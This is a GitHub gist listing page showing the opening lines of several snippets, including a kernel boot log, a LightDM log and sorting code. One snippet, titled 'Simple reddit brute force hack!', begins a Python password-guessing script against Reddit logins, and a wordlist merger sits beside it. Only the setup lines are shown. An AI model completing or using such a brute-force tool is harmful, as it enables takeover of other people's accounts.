Skip to content

Instantly share code, notes, and snippets.

View antony-jr's full-sized avatar

Antony Jr antony-jr

View GitHub Profile
@antony-jr
antony-jr / reddit.py
Created December 6, 2017 18:34
Simple reddit brute force hack!
#!/usr/bin/env python3
import requests
import sys,os
import time
username = "YOUR_USERNAME"
password_list = "PASSWORD_LIST"
login_try = {
"op" : "login",
@antony-jr
antony-jr / wmerger.py
Last active April 5, 2018 18:56
A Simple Wordlist merger
#!/usr/bin/env python3
import sys,os
if len(sys.argv) < 3:
print("Usage: {} [WORDLIST ONE] [WORDLIST TWO] [OUTPUT WORDLIST NAME]".format(sys.argv[0]))
sys.exit(0)
wlist1 = sys.argv[1]
wlist2 = sys.argv[2]
output = sys.argv[3]
#include <stdio.h>
void isort(int *arr , int n){
int i = 1,
pos = 0,
v = 0;
while(i < n){
v = arr[i];
pos = i;
while(pos > 0 && arr[pos-1] > v){
arr[pos] = arr[pos-1];
import sys
import datetime
# The main class which forms N Palindromes.
class NPalindrome(object):
def __init__(self, n, string):
self.N = n
self.String = string
self.Possible = False
self.Palindromes = list()
#!/usr/bin/env python3
import sys
try:
import numpy as np
import cv2
except:
print("Please install opencv-python and numpy via pip")
sys.exit(0)
import java.util.HashMap;
public class Music {
private HashMap<String, Object> m_Data;
public Music() {
m_Data = new HashMap<String, Object>();
}
public void set(String key, Object value) {
@antony-jr
antony-jr / lightdm.log
Created October 7, 2020 18:02
Lightdm log on Phosh
[+0.00s] DEBUG: Logging to /var/log/lightdm/lightdm.log
[+0.00s] DEBUG: Starting Light Display Manager 1.30.0, UID=0 PID=1810
[+0.00s] DEBUG: Loading configuration dirs from /usr/share/lightdm/lightdm.conf.d
[+0.00s] DEBUG: Loading configuration from /usr/share/lightdm/lightdm.conf.d/60-autologin.conf
[+0.00s] DEBUG: Loading configuration dirs from /usr/local/share/lightdm/lightdm.conf.d
[+0.00s] DEBUG: Loading configuration dirs from /etc/xdg/lightdm/lightdm.conf.d
[+0.00s] DEBUG: Loading configuration from /etc/lightdm/lightdm.conf
[+0.00s] DEBUG: Registered seat module local
[+0.00s] DEBUG: Registered seat module xremote
[+0.00s] DEBUG: Using D-Bus name org.freedesktop.DisplayManager
[ 0.000000] Booting Linux on physical CPU 0x0000000000 [0x410fd030]
[ 0.000000] Linux version 5.9.0-rc7-postmarketos-qcom-msm8916 (pmos@Liz) (aarch64-alpine-linux-musl-gcc (Alpine 10.2.0) 10.2.0, GNU ld (GNU Binutils) 2.35.1) #3 SMP PREEMPT Fri Oct 9 15:42:05 UTC 2020
[ 0.000000] Machine model: Asus Zenfone 2 Laser
[ 0.000000] earlycon: msm_serial_dm0 at MMIO 0x00000000078b0000 (options '')
[ 0.000000] printk: bootconsole [msm_serial_dm0] enabled
[ 0.000000] [Firmware Bug]: Kernel image misaligned at boot, please fix your bootloader!
[ 0.000000] cma: Reserved 32 MiB at 0x00000000fe000000
[ 0.000000] Zone ranges:
[ 0.000000] DMA [mem 0x0000000080000000-0x00000000bfffffff]
[ 0.000000] DMA32 [mem 0x00000000c0000000-0x00000000ffffffff]
bat: battery {
compatible = "simple-battery";
voltage-min-design-microvolt = <3400000>;
voltage-max-design-microvolt = <4400000>;
energy-full-design-microwatt-hours = <9500000>;
charge-full-design-microamp-hours = <2500000>;
ocv-capacity-celsius = <25>;
ocv-capacity-table-0 = <4378000 100>, <4312000 95>, <4253000 90>,
<4195000 85>, <4138000 80>, <4084000 75>, <4034000 70>,
Full Device Tree:
// SPDX-License-Identifier: GPL-2.0-only
/dts-v1/;
#include "msm8916-pm8916.dtsi"
#include "msm8916-no-psci.dtsi"
#include <dt-bindings/gpio/gpio.h>
#include <dt-bindings/input/input.h>
#include <dt-bindings/interrupt-controller/irq.h>